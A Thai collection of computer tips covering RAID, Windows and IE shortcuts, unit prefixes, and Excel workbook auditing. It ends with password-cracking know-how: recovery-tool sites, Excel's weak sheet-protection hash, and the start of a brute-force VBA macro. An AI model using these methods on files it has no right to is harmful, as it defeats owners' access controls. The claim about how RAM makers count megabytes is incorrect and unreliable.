       การระบุว่าไดรฟ์ไหนเสีย และการวิเคราะห์อาการเสีย เป็นเทคนิคการออกแบบ RAID Controller ที่ผู้ผลิตรายต่างๆ ต่างก็แข่งขันกันพัฒนา เพราะโดยคุณสมบัติการออกแบบฮาร์ดดิสก์แบบ SCSI แล้ว เป็นไปได้ยากที่ RAID Controller จะตรวจสอบว่าไดรฟ์ไหนเสีย แต่ระบบการตรวจสอบที่เกิดจากการพัฒนาร่วมกันของผู้ผลิต RAID และผู้ผลิตฮาร์ดดิสก์ ที่มีชื่อเทคโนโลยีว่า SAF-TE ก็ทำให้การวิเคราะห์ และวินิจฉัยอาการเสียของฮาร์ดดิสก์เป็นไปได้ง่ายขึ้น
       การจัดการกับไดรฟ์เสีย ยังมีระบบสนับสนุนหรืออำนวยความสะดวก ซึ่งทำงานสอดคล้องกับระบบ RAID Controller อีกส่วนหนึ่งคือ Hot Plug Drive, Hot Swap Drive Bay ซึ่งหมายถึงการเปลี่ยนฮาร์ดดิสก์โดยอไม่ต้องปิดสวิตช์คอมพิวเตอร์ก่อน และเมื่อเปลี่ยนแล้วนอกจากสามารถใช้งานได้ทันทีแล้ว หากใช้ระบบ RAID ก็สามารถ "Rebuild" คือ สร้างระบบ RAID ในฮาร์ดดิสก์ก้อนใหม่ได้ทันที

    การเพิ่มขนาดของ Logical Volume
       ขนาดของ Logical Drive นั้น ขึ้นกับความจุและจำนวนของฮาร์ดดิสก์ที่นำมาเพิ่มในระบบ RAID โดยปกติระบบ RAID จะระบุไว้ว่า กรณีใช้ฮาร์ดแวร์ในการควบคุม ฮาร์ดดิสก์ทั้งหมดที่นำมาเพิ่มในระบบจะต้องมีความจุเท่ากัน การเพิ่มขนาดของ Logical Drive ทำได้โดยการเพิ่มฮาร์ดดิสก์ SCSI เข้าไปในระบบ
       ถ้าเป็นระบบ RAID เก่าๆ การเพิ่มขนาดของ Logical Drive ทำได้โดยการสำรองข้อมูลทั้งหมด หลังจากนั้นปิดระบบ (ปิดเฉพาะระบบที่ใช้ RAID) ติดตั้งฮาร์ดดิสก์เพิ่มเติมเข้าไปในระบบ และ Config RAID หรือการสร้าง RAID ขึ้นใหม่ วิธีการนี้มีข้อด้อยคือ ใช้เวลาในการดำเนินใหม่ และต้องการผู้เชี่ยวชาญ เพราะในระบบเครือข่าย ถ้าหากต้องมีการ "ติดตั้งระบบใหม่" นั้นหมายถึง การ Config ระบบใหม่ทั้งหมด
       แต่ระบบคอมพิวเตอร์ที่ใช้ RAID ใหม่ๆ นั้น ใช้หลักการของ Dynamic System Expansion การขยายขนาดของระบบโดยวิธีการง่ายกว่าเดิม โดยวิธีนี้ต้องใช้กับระบบ RAID ที่เป็น RAID Hardware Controller เท่านั้น โดยเมื่อเพิ่มฮาร์ดดิสก์เข้าไปในระบบ (จะเป็น Hot Plug หรือ Non Hot-Plug) ก็ได้ หลังจากนั้นใช้ฟังก์ชันในการตรวจจับ (SCSI Harddisk SCAN) เพื่อตรวจสอบว่ามีฮาร์ดดิสก์ใหม่ถูกติดตั้งเข้าไปในอะเรย์ หลังจากนั้นก็ใช้ฟังก์ชันในการเพิ่มขนาด Logical Volume โดยการ Assign ฮาร์ดดิสก์ใหม่เข้ากับระบบอะเรย์ เพียงไม่กี่นาทีก็เพิ่มขนาดของ Logical Volume ได้

    การจัดการและตรวจสอบโดย RAID Controller
       ฮาร์ดแวร์ RAID Controller ที่ผลิตโดยผู้ผลิตหลายๆ รายๆ มีกลวิธีในการตรวจสอบระบบ DISK Array โดยเริ่มจากการตรวจสอบตัวคอนโทรลเลอร์เอง ไปจนถึงการตรวจสอบฮาร์ดดิสก์ที่เป็นสมาชิกอะเรย์ ได้แก่การตรวจสอบ disk / PSU / Power / Over-Temp แล้วแสดงค่าความผิดพลาด พร้อมทั้งแจ้งเตือนกรณีที่ความผิดพลาดนั้น ถือเป็นความผิดพลาดระดับวิกฤติ

    คัดลอกจาก
    http://www.nextproject.net

    :: เทคนิค Windows & Internet Explorer ::

    1.ค้นหาข้อมูลใน web ที่กำลังใช้งาน
    เราสามารถ search ข้อมูลใน web ที่กำลังเข้าไปดูอยู่ได้ โดยการกด keyboard Ctrl+F

    2.ปุ่มใดแทนคำสั่ง back ได้
    ปุ่ม Backspace ใน keyboard สามารถใช้ทดแทนคำสั่ง back เวลา surt net ได้

    3.ปิด window ให้เร็วดังใจ
    ใช้ปุ่ม Ctrl+W ใน keyboard เพื่อปิด window ที่กำลังใช้งานอยู่ได้ครับ ไม่จำเป็นต้องกดปุ่ม close ก็ได้

    4.ดู address bar ว่าไปที่ไหนมาบ้าง
    address bar คือตำแหน่งที่ใช้ในการพิมพ์ url ของ web site ต่าง ๆ.. เราสามารถดูได้ว่าเคยพิมพ์อะไรไปบ้าง โดยการกดปุ่ม keyboard F4 โปรแกรมจะแสดงรายละเอียดให้ทราบ

    5.save URL ให้เร็วที่สุด
    คุณสามารถกดปุ่ม keyboard Ctrl+D เพื่อ save ที่อยู่ใน web site ที่คุณดูอยู่ในปัจจุบันได้ (เผื่อคราวหน้าจะได้ เยี่ยมไปแวะชมอีกได้สะดวกไงครับ)

    6.ส่ง web ถูกใจไปให้เพื่อน
    คุณทราบหรือไม่ว่า web page ต่าง ๆ ที่เราแวะเข้าไป สามารถส่งไปให้เพื่อนดูได้ เพียงแค่เลือกเมนู File เลือก Send และเลือกหัวข้อ Page by Email แค่นี้เพื่อนคุณก็จะได้รับ web ที่มีหน้าตาเหมือนกับที่คุณกำลังดูอยู่ แจ๋ว! ไหมค่ะ

    7.เลื่อนดูหน้า web อย่างรวดเร็ว
    ปกติเวลาจะดูรายละเอียดของ web page แต่ละหน้า จำเป็นต้องใช้เม้าส์คลิกลาก ขึ้น-ลง ด้านบนสุด หรือล่างสุด ทำให้ไม่สะดวกนักสำหรับผู้ไม่ถนัดในการใช้เมาส์ ลองกดปุ่ม keyboard ที่ชื่อว่า Home หรือ End ดู คงช่วยอะไรคุณได้บ้าง..

    8.อยาก save ภาพเป็น wallpaper
    บางครั้งเราแวะไปเยี่ยมชม web site บางแห่ง แล้วถูกใจในรูปภาพนั้น ๆ และอยากจะนำกลับมาเป็น wallpaper สำหรับโปรแกรม Internet Explorer มีตัวช่วยให้คุณครับ เพียงแค่กด คลิกขวาที่บริเวณภาพ จากนั้นเลือกคำสั่ง Set as wallpaper

    9.เลื่อนขึ้น-ลง ทีละนิด
    web page บางหน้าอาจมีความยาวมาก การจะเลื่อนหน้าทีละนิดเพื่ออ่านข้อมูล ถ้าจะใช้เมาส์ บางทีอาจไม่สะดวกนัก ลองใช้ keyboard ปุ่มที่ชื่อว่า Page Up หรือ Page Down ดูซิค่ะ น่าจะดีกว่าเยอะเลย..

    10.แสดงพื้นที่บน internet Explorer ให้มากที่สุด
    ให้กด keyboard F11 เพื่อขยายเต็มหน้าจอ กดอีกครั้งจะเป็นการกลับสู่สภาพเดิมและ30 ทิปเล็กน้อย ๆ ที่ไม่ควรมองข้าม

    --------------------------------------------------------------------------------
    1. ในขณะที่คุณกำลังจะ Restart เครื่องใหม่ ก่อนที่จะกดปุ่ม OK ให้คุณกด Shift ค้างไว้ จะทำให้คุณ Restart ได้เร็วขึ้น

    2. ในบาง Web Site หากคุณกด Ctrl ค้างไว้ และเลื่อน Scroll ที่ Mouse จะทำให้ตัวอักษรของ Web Site นั้นใหญ่ขึ้น

    3. หากกดปุ่ม Refresh หรือ F5 แล้วยังเป็นข้อมูลเดิม ลองกด Ctrl + F5 รับรองจะได้ข้อมูลที่ใหม่ล่าสุดแน่ๆ

    4. คุณสามารถเปิดไฟล์ Tips.txt ขึ้นมาเพื่ออ่านเทคนิคต่างๆ ได้ ซึ่งไฟล์นี้จะอยู่ใน c:\windows ของคุณ

    5. ในระหว่างที่คุณกำหลังใช้งาน IE อยู่นั้น สามารถกดปุ่ม F4 เพื่อเป็นการเปิดดู URL List ในช่อง Address ได้เลย

    6. การกดปุ่ม Esc ระหว่างการใช้ IE จะทำให้ IE ของคุณนั้นหยุดโหลดได้ โดยที่ไม่ต้องกดปุ่ม Stop

    7. ระหว่างการใช้ IE สามารถกดปุ่ม Alt + D หรือ Ctrl + Tab เพื่อเข้า Address bar อย่างเร็วได้

    8. คุณสามารถเพิ่มความเร็วให้กับ Internet ได้โดยทำการถอดสายเครื่องโทรศัพท์ ที่มีการต่อพ่วงอยู่กับสายที่ใช้ต่อ Internet ออก

    9. คุณสามารถ ไปที่ Start -> Run และพิมพ์ว่า welcome กด Enter เพื่อเปิดหน้าต่างต้อนรับของ Windows ได้

    10. ที่ Notepad หรือ ICQ หากคุณลืมเปลี่ยน Mode ภาษา ให้กดปุ่ม Ctrl + Back Space เพื่อแก้คำที่พิมพ์ผิดไปแล้ว

    11. คุณสามารถ เปิด Folder Desktop อย่างรวดเร็ว โดย Start -> Run พิมพ์จุด (.) ลงไปแล้วกด Enter

    12. ใน IE สามารถกด Space Bar เพื่อนเลื่อนหน้า Page ลงได้ ส่วนเลื่อนขึ้นคือ Shift + Space Bar

    13. ใน Windows คุณไม่สามารถ สร้าง Folder ที่ชื่อ "con" ได้

    14. ใน IE ที่ช่อง Address ปุ่ม Ctrl+Enter สามารถช่วยคุณ ในการพิมพ์ URL ได้เร็วยิ่งขึ้น

    15. การกด Ctrl ค้างเอาไว้ ตอนเวลา BOOT เครื่อง จะทำให้คุณไม่พลาด Startup Menu

    16. คุณสามารถปิดนาฬิกาที่ Taskbar ได้ โดยคลิกขวาที่ Task bar > Properties > เอาเครื่องหมาย Show Click ออก

    17. หากคุณกด F11 ใน Windows Explorer จะช่วยให้มีการทำงานที่สะดวกขึ้น

    18. ใน ICQ การส่ง Message หากคุณกด Ctrl+Enter จะสะดวก กว่าการ Click Mouse ที่ปุ่ม send

    19. คุณสามารถกด F2 เพื่อ ใช้ในการเปลี่ยนชื่อ Icon ต่างๆ ได้

    20. การกด F5 ใน NotePad จะเป็นการแทรก เวลา และวันที่ ปัจจุบัน

    21. การกด Windows + E จะเป็นเปิด Windows Explorer ขึ้นมา

    22. เปิด System Properties อย่างรวดเร็วคือการกด Window + Pause Break

    23. การย่อยทุกๆ หน้าต่างที่เปิดใช้งาน ให้ยุบไปให้หมด คือการกด Window + D ถ้าจะขยายคืนมาอีก ให้กดซ้ำ

    24. การเคาะวรรคในโปรแกรม Dreamweaver คือ Shift + Ctrl + Space Bar ส่วนการเว้นบรรทัดคือ Shift + Enter

    25. การลบไฟล์แบบ ไม่เก็บไว้ใน Recycle Bin คือการกด Shift + Delete

    26. การกด Shift ค้างไว้ เวลาใส่แผ่น CD-Rom จะเป็นการไม่ให้มันเปิด Autorun ของแผ่น CD-Rom นั้นขึ้นมา

    27. การ Restart เครื่องอย่างเร็ว คือไปที่ Start -> Shut Down... -> Restart จากนั้น ก่อนที่จะ OK ให้กด Shift ค้างเอาไว้

    28. ในระหว่างใช้ Browser คุณสามารถกดปุ่ม Space Bar เพื่อเลื่อนหน้าลง และ Shift + Space Bar เพื่อนเลื่อนหน้าขึ้นได้

    29. กด Shift + คลิก จะเป็นการเปิดหน้าต่างขึ้นมาใหม่ โดยไม่ต้อง back กลับ

    30. คุณสามารถ ไปที่ Start -> Run และพิมพ์ว่า hwinfo /ui กด Enter เพื่อดูรายงานต่างๆ ของ HardWare

    :: มารู้จักหน่วยนับของระบบคอมพิวเตอร์กัน ::

     ชื่อ          คำอ่าน    ตัวย่อ    ค่า(ฐาน10)
    ------------------------------------------------------------------------
    Atto      แอตโต้    a (a ***ก)      10-18 หนึ่งส่วนล้านล้านล้าน
    Femto   เฟมโต้     f (f ***ก)        10-15 หนึ่งพันล้านล้าน
    Pico      พิโค        p (p ***ก)     10-12 หนึ่งส่วนล้านล้าน
    Nano    นาโน      n (n ***ก)      10-9 หนึ่งส่วนพันล้าน
    Micro    ไมโคร     u (อักษรกรีกคล้ายตัว u) 10-6 หนึ่งส่วนล้าน
    Milli       มิลลิ       m (m ***ก)    10-3 หนึ่งส่วนพัน
    Deci      เดซิ       d(d ***ก)       10-1 หนึ่งส่วนสิบ
    Deca     เดคา     da(da ***ก)   10 สิบ
    Kilo       กิโล       k(k ***ก)      103 หนึ่งพัน
    Mega    เมกะ      M (M ใหญ่)      106 หนึ่งล้าน
    Giga      กิกะ       G (G ใหญ่)      109 หนึ่งพันล้าน
    Tera      เทรา      T (T ใหญ่)       1012 หนึ่งล้านล้าน
    Peta     เพตา       P (P ใหญ่)      1015 หนึ่งพันล้านล้าน
    Exa       เอ็กซา    E (E ใหญ่)       1018 หนึ่งล้านล้านล้าน

    แถมด้วยเรื่องวิธีการนับเมกะไบต์ของสื่อชนิดต่างๆ ครับ

    การนับเมกะไบต์ของซอฟต์แวร์ทุกชนิดครับจะนับแบบนี้
    1024 * 1024 = 1 MB

    การนับเมกะไบต์ของผู้ผลิต RAM จะนับแบบนี้
    1024 * 1000 = 1 MB

    การนับเมกะไบต์ของฮาร์ดดิสก์ทุกยี่ห้อ จะนับแบบนี้
    1000 * 1000 = 1 MB

    ดังนั้นจำนวน 1 GB ของ 3 อย่างที่กล่าวมาจะเป็นแบบนี้
    Software = 1024 * 1024 * 1024 = 1,073,741,824 B
    RAM         = 1024 * 1024 * 1000 = 1,048,576,000 B
    HardDisk = 1000 * 1000 * 1000 = 1,000,000,000 B

    ดังนั้น ฮาร์ดดิสก์ 80 GB ในมุมมองของ Software ก็จะได้
    1024 * 1024 * 1024 * 80 = 85,899,345,920 B

    แต่ HD 80 GB จริงๆ แล้วมีแค่นี้
    1000 * 1000 * 1000 * 80 = 80,000,000,000 B

    เมื่อซอฟต์แวร์มองจะมองได้แบบนี้
    80,000,000,000/(1024*1024*1024) = 74.50 GB

    ดังนั้นเวลาที่เรา FDISK ไม่ต้องสงสัยว่า HD หายไปไหน ตั้ง 5 GB

    :: Excel วิธีแกะ แยกแยะ และย้อนรอย ::

    Excel ถือเป็นเครื่องมือมหัศจรรย์ซึ่งช่วยสร้างมูลค่าให้กับทรัพย์สินทางปัญญาได้อย่างมหาศาล จากตารางว่างเปล่าไม่มีอะไร กลับกลายมาเป็นตารางคำนวณพร้อมใช้งาน เพียงบันทึกเปลี่ยนแปลงตัวเลขใหม่ลงไป จะพบว่า Excel ช่วยคำนวณหาผลลัพธ์ที่ต้องการได้เสร็จในพริบตา แต่กว่าจะได้ผลลัพธ์ถูกต้องได้นั้น เราต้องทุ่มเทความพยายามและความอุตสาหะ สร้างสูตรผูกต่อกันไปทีละเซลล์ เริ่มจากเซลล์แรก ขยับไปทีละเซลล์ ทีละตาราง จากเดิมซึ่งเคยใช้พื้นที่ตารางไม่กี่เซลล์ กลับกลายเป็นแฟ้มงานขนาดใหญ่ ใช้พื้นที่คำนวณหลายตาราง หลาย Sheet บ้างก็ต้องส่งค่าเพื่อคำนวณข้ามแฟ้มงาน ซึ่งถ้าลองตีค่าหาต้นทุนของแต่ละแฟ้มที่เราสร้างขึ้น จะพบว่ามีมูลค่ามิใช่น้อย อย่างบางแฟ้มซึ่งลงทุนสร้างอย่างดิบดี สามารถตีค่าต้นทุนเป็นเรือนแสนหรือล้านบาทกันทีเดียว

    ในช่วงแรกที่เริ่มใช้ Excel สร้างงาน มักมีข้อมูลไม่มากนัก ใช้พื้นที่เซลล์ไม่กี่เซลล์ พอเปิดแฟ้มขึ้นมาก็ยังสามารถเห็นพื้นที่ตารางใช้งานในจอภาพได้สบายๆ ครั้นพอใช้งานต่อไปเรื่อยๆ เมื่อตารางที่สร้างขึ้นมีขอบเขตตารางเกินกว่าที่หน้าจอจะแสดงได้ครบทั้งหมด ผู้ที่ใช้แฟ้มงานนี้จะเริ่มหงุดหงิดขึ้นมาทีละน้อย ซึ่งถ้าผู้ที่เปิดแฟ้มงานมาใช้นั้น เป็นผู้ที่สร้างแฟ้มนั้นมากับมือคงพอจะเดาออกว่าเซลล์ไหนใช้ทำอะไร แต่หากเป็นคนอื่นที่ไม่คุ้นเคยกับแฟ้มนั้นมาก่อน จะรู้สึกเหมือนเปิดแผนที่โลกกางออกมาบนโต๊ะ แต่ไม่รู้จะเริ่มต้นตรงจากเซลล์ใดก่อนดี

    ครั้นเวลาผ่านไปสัก 6 เดือน พอหยิบแฟ้มเดิมที่ตนเองสร้างขึ้นมากับมือเปิดขึ้นมาใช้งานอีกครั้งหนึ่ง แม้ว่าตนเองจะสร้างแฟ้มนั้นมาเองก็ตาม แต่มักพบว่าตัวเองจำไม่ได้เสียแล้วว่าอะไรเป็นอะไร พอคลิกดูสูตรที่ตนสร้างขึ้น อาจสงสัยขึ้นมาทีเดียวว่า ทำไมเมื่อ 6 เดือนที่แล้วมา เราจึงเลือกใช้สูตร Choose ทั้งๆที่ตอนนี้เราคิดว่าน่าจะใช้สูตร IF แทนดีกว่า แต่พอสร้างสูตร IF ลงไปก็พบว่า สูตร Choose เดิมนั่นแหละดีกว่าอยู่แล้ว ยิ่งตารางมีสูตรสลับซับซ้อนมากเท่าใด จะยิ่งสับสนสงสัยมากขึ้นเท่านั้น หลายๆคนอาจตัดสินใจสร้างแฟ้มงานใหม่ตั้งแต่ต้นเลยดีกว่า เพราะถ้าจะแกะสูตรเก่าที่ตนทำไว้ คงต้องใช้เวลานานกว่าการสร้างใหม่เสียอีก แต่ใครจะมั่นใจได้บ้างว่า แฟ้มงานที่ลงทุนสร้างขึ้นใหม่ จะให้คำตอบถูกต้องเช่นเดียวกับแฟ้มเดิมที่เคยใช้กันมาก่อน

    ยิ่งกว่านั้น เนื่องด้วยความหวงแหนแฟ้มงานที่ตนเสียเวลาลงทุนสร้างขึ้นเองกับมือ จึงใช้คำสั่ง Protect Sheet กับ Protect Workbook ไว้ แต่กลับกลายเป็นว่า พอพิมพ์รหัสผ่านที่ตนจำได้ลงไป ไม่สามารถ Unprotect คืนกลับมาให้ใช้งานได้อย่างเดิมเสียแล้ว อาจเป็นไปได้ว่า ตนลืมรหัสที่เคยใช้ หรือตอนที่พิมพ์รหัสเพื่อ Protect คราวก่อนนั้น เผลอพิมพ์รหัสตัวเล็กเป็นตัวใหญ่ หรือไม่ได้สังเกตว่า ขณะที่พิมพ์รหัสนั้นกำลังใช้แป้นพิมพ์ภาษาใด ตนต้องทิ้งงานที่สร้างขึ้นเองมากับมือเพียงเพราะถอดรหัสที่ป้องกันไว้ไม่ได้เพียงแค่นี้เอง

    ครั้นถึงคราวที่เพื่อนร่วมงานลาออกไปทำงานที่อื่น หัวหน้ามักขอให้นำแฟ้มงานของเพื่อนคนที่ลาออกไปกลับมาใช้งานต่อ นี่เป็นเพราะเสียดายเท่านั้นเอง โดยหารู้ไม่ว่า แฟ้มงานที่ตนเองนำของคนอื่นมาใช้งานต่อมีบางส่วนที่สร้างสูตรคำนวณไว้ผิด ถ้าคนที่ลาออกไปเขาจำใจต้องลาออกไปเพราะมีปัญหากับที่ทำงาน เขาอาจสร้างสูตรล่อเหยื่อไว้ก็ได้ ทำให้ช่วง 6 เดือนแรกยังคำนวณถูกต้อง ผู้ใช้งานจะได้ตายใจ แต่พอเลยระยะเวลาที่กำหนด สูตรที่เขาสร้างไว้จะเริ่มแผลงฤทธิ์ ถ้าเปิดแฟ้มของเขาขึ้นมาใช้งานในช่วงเวลา 5-6 โมงเย็น สูตรที่เขาวางยาไว้จะให้คำตอบผิดเพี้ยนไปจากเดิม

    ขั้นตอนการแกะแฟ้มโดยทั่วไป
    1. จัดทำสำเนาแฟ้มต้นฉบับเก็บไว้ และพยายาม Save ผลจาการแกะแต่ละขั้นเก็บเป็นแฟ้มชื่อใหม่
    2. สั่ง Tools > Protection > Unprotect Workbook / Sheet
    3. สั่ง Format > Sheet > Unhide เพื่อเปิด Sheet ที่อาจซ่อนไว้ออกมาให้เห็นครบทั้งหมด
    4. ในแต่ละ Sheet ให้เลือกตารางทั้งหมดแล้วคลิกขวา สั่ง Unhide หรือจะสั่ง Format > Row/Column > Unhide เพื่อเลิกการซ่อน Row และ Column
    5. เปลี่ยนรูปแบบในแต่ละเซลล์ให้เป็น General โดยสั่ง Format > Cells > Number > Type > General
    6. เปลี่ยนสีตัวอักษรเป็นสีดำและสีพื้นให้เป็นสีขาว เพื่อแสดงค่าที่บันทึกให้เห็นทั้งหมด
    7. เลิกกำหนดให้ค่าในเซลล์ชิดซ้าย ชิดขวา หรืออยู่กลางเซลล์ เพื่อให้เห็นตัวเลขชิดขวา และตัวอักษรชิดซ้ายตามปกติ
    8. ในแต่ละ Sheet ให้ตรวจสอบคำสั่ง Tools > Options > Transition ว่าไม่ได้กาช่อง Transition formula evaluation เพื่อเลิกใช้ตัวอักษรในการคำนวณ และจะได้เห็นค่า Error ถ้ามีสูตรคำนวณเกี่ยวข้องกับตัวอักษร
    9. กดปุ่ม F5 > Special แล้วเลือกค้นหาข้อมูลประเภทต่างๆ แล้วเปลี่ยนสีเซลล์ให้เห็นกลุ่มข้อมูลประเภทต่างๆแยกออกจากกัน
    10. สำหรับเซลล์ที่เป็นสูตร ใช้คำสั่ง Tools > Auditing หรือ Formula Auditing เพื่อค้นหาและทำแผนที่เซลล์ต้นทางหรือปลายทางในการส่งค่าต่อเนื่อง
    11. ถ้าเมนู Edit > Links ทำงานได้ แสดงว่ามีสูตร Link ข้ามแฟ้ม ให้ค้นหาชื่อแฟ้มต้นทางว่าอยู่ในเซลล์ใด โดยสั่ง Edit > Find > ชื่อแฟ้มต้นทาง ทั้งนี้อาจมีสูตร Link ซ่อนอยู่ในเมนู Insert > Name > Define, Format > Conditional Formatting, Data > Validation, หรือเป็น Macro ที่ Assigned ให้กับปุ่ม
    12. สั่ง Tools > Options > View > Formulas เพื่อแสดงสูตรในแต่ละเซลล์แล้วสั่งพิมพ์
    วิธีถอดรหัสป้องกัน Workbook และ Sheet

    ก่อนอื่นต้องขอทำความเข้าใจเรื่องกฎหมายลิขสิทธิ์โปรแกรมคอมพิวเตอร์กันก่อนว่า แฟ้มที่เราจะนำมาถอดรหัสป้องกันนั้น ต้องเป็นแฟ้มงานของคุณเอง หรือเป็นแฟ้มที่คุณมีสิทธิ์เป็นเจ้าของตามกฎหมาย หรือเป็นแฟ้มที่เจ้าของเขาไม่หวงห้าม ซึ่งตามกฎหมายกำหนดว่า งานใดที่ผู้สร้างสรรค์ที่เป็นลูกจ้างสร้างขึ้นโดยใช้คอมพิวเตอร์ งานนั้นให้ผู้สร้างสรรค์เป็นเจ้าของ แต่เจ้าของบริษัทผู้ว่าจ้างมีสิทธิ์นำแฟ้มงานไปเผยแพร่ได้ ส่วนขอบเขตและความหมายของการนำไปเผยแพร่จะเป็นอย่างไรนั้น เห็นทีจะต้องขอความเห็นของนักกฎหมาย ซึ่งเท่าที่เห็นปฏิบัติกันนั้น ผู้ว่าจ้างมักกำหนดในสัญญาว่าจ้างกันไว้ก่อนเลยทีเดียวว่า งานใดที่พนักงานสร้างขึ้นโดยใช้โปรแกรมคอมพิวเตอร์ พนักงานให้สิทธิแก่บริษัทผู้ว่าจ้างมีสิทธิ์ใช้งานเช่นเดียวกับพนักงาน

    โปรแกรมที่ใช้ถอดรหัสป้องกันแฟ้มงานหรือที่เรียกกันว่า โปรแกรม Password Recovery นั้น ปัจจุบันเปิดให้ Download จากอินเตอร์เน็ตจากรายชื่อเว็บต่อไปนี้ นำมาใช้ถอดรหัสที่ยาว 2-3 ตัวอักษรได้ฟรี แต่ถ้ารหัสยาวกว่านั้น จำต้องจ่ายเงินซื้อโปรแกรมถอดรหัสมาใช้กัน เว็บบางแห่งจะรับบริการถอดรหัสให้โดยคิดค่าบริการเพียงเล็กน้อย อาทิเช่น

    • AccessData
      http://www.accessdata.com/
    • Crak Software
      http://www.crak.com/
    • Elcomsoft
      http://www.elcomsoft.com/ae97pr.html
    • Erlandsen Data Consulting
      http://www.erlandsendata.no/english/downloads/tools.htm
    • Excel Key
      http://www.lostpassword.com/excel.htm
    • Excel Password Remover
      http://www.elkraft.ntnu.no/~huse/xlpassword.htm
    • Fast Data Recovery Lab
      http://www.fdrlab.com/
    • Intertek
      http://www.intertek.org.uk/
    • MSOfPass97
      http://www.lostpassword.com/msofpass97.htm
    • Password Crackers Inc.
      http://www.pwcrack.com/
    • PWD Service
      http://www.pwdservice.com/
    • PW Finder
      http://www.pwfinder.com/

    การถอดรหัสโดยทั่วไปแบ่งออกเป็น 2 ระดับ กล่าวคือ

    1. รหัสป้องกันการเปิดแฟ้ม ซึ่งใช้ในการเปิดแฟ้มขึ้นใช้งาน ถ้าใส่รหัสผิด จะไม่มีทางเปิดแฟ้มขึ้นใช้งานเลยทีเดียว รหัสระดับนี้ถือเป็นรหัสที่ถอดได้ยากที่สุด เนื่องจากบริษัทไมโครซอฟท์ใช้เทคโนโลยีขั้นสูงและเป็นความลับ เปิดเผยแต่เพียงว่าใช้วิธีสลายตัวรหัสเข้ากับเนื้อหาของแฟ้ม ทำให้ไม่สามารถใช้โปรแกรม Editor ใดค้นหาตัวรหัสได้เลย ทำให้โปรแกรมถอดรหัสต้องใช้วิธีที่เรียกว่า Brutal Force สุ่มรหัสทีละตำแหน่งทีละตัวอักษรหรือตัวเลขไปเรื่อยๆ อาจใช้เวลาเป็นวันกว่าจะสุ่มเจอรหัสป้องกัน
    2. รหัสป้องกันการแก้ไข Workbook หรือแก้ไข Sheet เทคนิคการใช้รหัสระดับนี้สามารถค้นหารายละเอียดได้จาก chicago.sourceforge.net/devel/docs/excel/encrypt.html และสามารถใช้ VBA ช่วยในการถอดรหัสได้ไม่ยากนัก โดยเฉพาะโปรแกรม Excel Password Remover จาก http://www.elkraft.ntnu.no/~huse/xlpassword.htm เปิดให้ Download Password.xla นำมาใช้ถอดรหัสได้ฟรี
    วิธีใช้ Excel Password Remover (Password.xla)
    1. Unzip นำแฟ้ม Add-In ชื่อ Password.xla มาเก็บไว้ที่ Folder ใดก็ได้
    2. เปิด Excel แล้วสั่ง Tools > Add-Ins > Browse ค้นหาและเลือกชื่อแฟ้ม Password.xla จากนั้นกดปุ่ม OK จะพบว่า Password remover ปรากฏอยู่ในรายชื่อ Add-Ins Available และถูกกาไว้
    3. กดปุ่ม OK เพื่อเสร็จขั้นตอนการ Load Add-Ins ขึ้นมาใช้งานในเครื่อง PC นั้นๆ จะพบหน้าจอของ Password remover เปิดขึ้น แสดงว่าพร้อมใช้งานแล้ว ให้กดปุ่ม OK
    4. เปิดแฟ้มที่ต้องการถอดรหัส จากนั้นสั่ง Tools > Unprotect Sheet หรือ Unprotect Workbook ซึ่งในขณะที่โปรแกรมกำลังพยายามถอดรหัสอยู่นั้น จะมีระยะเวลาที่ใช้แสดงขึ้นตรงหัวมุมซ้ายล่างของจอ
    5. รอสักพัก อาจจะนานหรือเร็วขึ้นกับรหัสผ่านที่กำหนดยาวหรือสั้น เมื่อโปรแกรมถอดรหัสเสร็จแล้วจะเปิดหน้าจอขึ้นมาบอกว่าเสร็จแล้ว ให้กด OK เพื่อทำงานอื่นต่อไป
    เทคนิคที่ใช้ในการกำหนดรหัสรหัสป้องกันในระดับ Workbook และ Sheet
    ข้อมูลจาก chicago.sourceforge.net/devel/docs/excel/encrypt.html

    Workbook Encryption
    The 1Table structure contains three 16 byte numbers:

    • A random salt.
    • An MD5 hashed nonce, encrypted using RC4 with a key (K). This encrypted hash is stored as a second 16 byte number in 1Table.
    • The nonce is encrypted using key (K) and MD5 hashed then stored as a third 16 byte number in 1Table.

    The key (K) is calculated in the following way:

    1. The password (expressed in Unicode) is MD5 hashed.
    2. The first five bytes of the password hash are put into an array with the 1st 16 byte number (the salt) stored in the 1Table structure.
    3. The salt is repeatedly concatenated with the password and then padded according to the MD5 algorithm.
    4. The MD5 hash is taken.
    5. The first five bytes of this hash are saved and then padded and MD5 hashed again.
    6. The first five bytes of this hash along with a counter byte become the RC4 key for encrypting/decrypting the document.

    The counter periodically re-keys the RC4 engine by incrementing the counter byte modulo 8. This key is first MD5 hashed before RC4 key scheduling. This hash is the key (K). There is a better way to recover the document. This is to recover the five byte value which is the document key, add the counter byte and decrypt the document.

    Worksheet Protection
    When an Excel sheet is being protected with a password, a 16-bit (two byte) long hash is generated. To verify a password, it is compared to the hash. Obviously, if the input data volume is great, numerous passwords will match the same hash. This can be easily reproduced:

    Protect a sheet (Tools-Protection-Protect Sheet)
    with the password "test" (no quotes)
    Unprotect it with the password "zzyw" (again no quotes)

    Here is the algorithm to create the hash value:

    1. take the ASCII values of all characters shift left the first character 1 bit, the second 2 bits and so on (use only the lower 15 bits and rotate all higher bits, the highest bit of the 16-bit value is always 0 [signed short])
    2. XOR all these values
    3. XOR the count of characters
    4. XOR the constant 0xCE4B

    Example: The password is abcdefghij (10 characters)

    • a -> 0x61 << 1 == 0x00C2
    • b -> 0x62 << 2 == 0x0188
    • c -> 0x63 << 3 == 0x0318
    • d -> 0x64 << 4 == 0x0640
    • e -> 0x65 << 5 == 0x0CA0
    • f -> 0x66 << 6 == 0x1980
    • g -> 0x67 << 7 == 0x3380
    • h -> 0x68 << 8 == 0x6800
    • i -> 0x69 << 9 == 0x5201 (unrotated: 0xD200)
    • j -> 0x6A << 10 == 0x2803 (unrotated: 0x1A800)

    ชุดคำสั่ง VBA ใช้สำหรับถอดรหัสป้องกัน Sheet
    ข้อมูลจาก
    http://www.theofficeexperts.com/VBASamples/Excel02.htm
    Sub PasswordBreaker()
    'Author unknown but submitted by brettdj of
    www.experts-exchange.com
    Dim i As Integer, j As Integer, k As Integer
    Dim l As Integer, m As Integer, n As Integer
    Dim i1 As Integer, i2 As Integer, i3 As Integer
    Dim i4 As Integer, i5 As Integer, i6 As Integer
    On Error Resume Next
    For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
    For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66
    For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
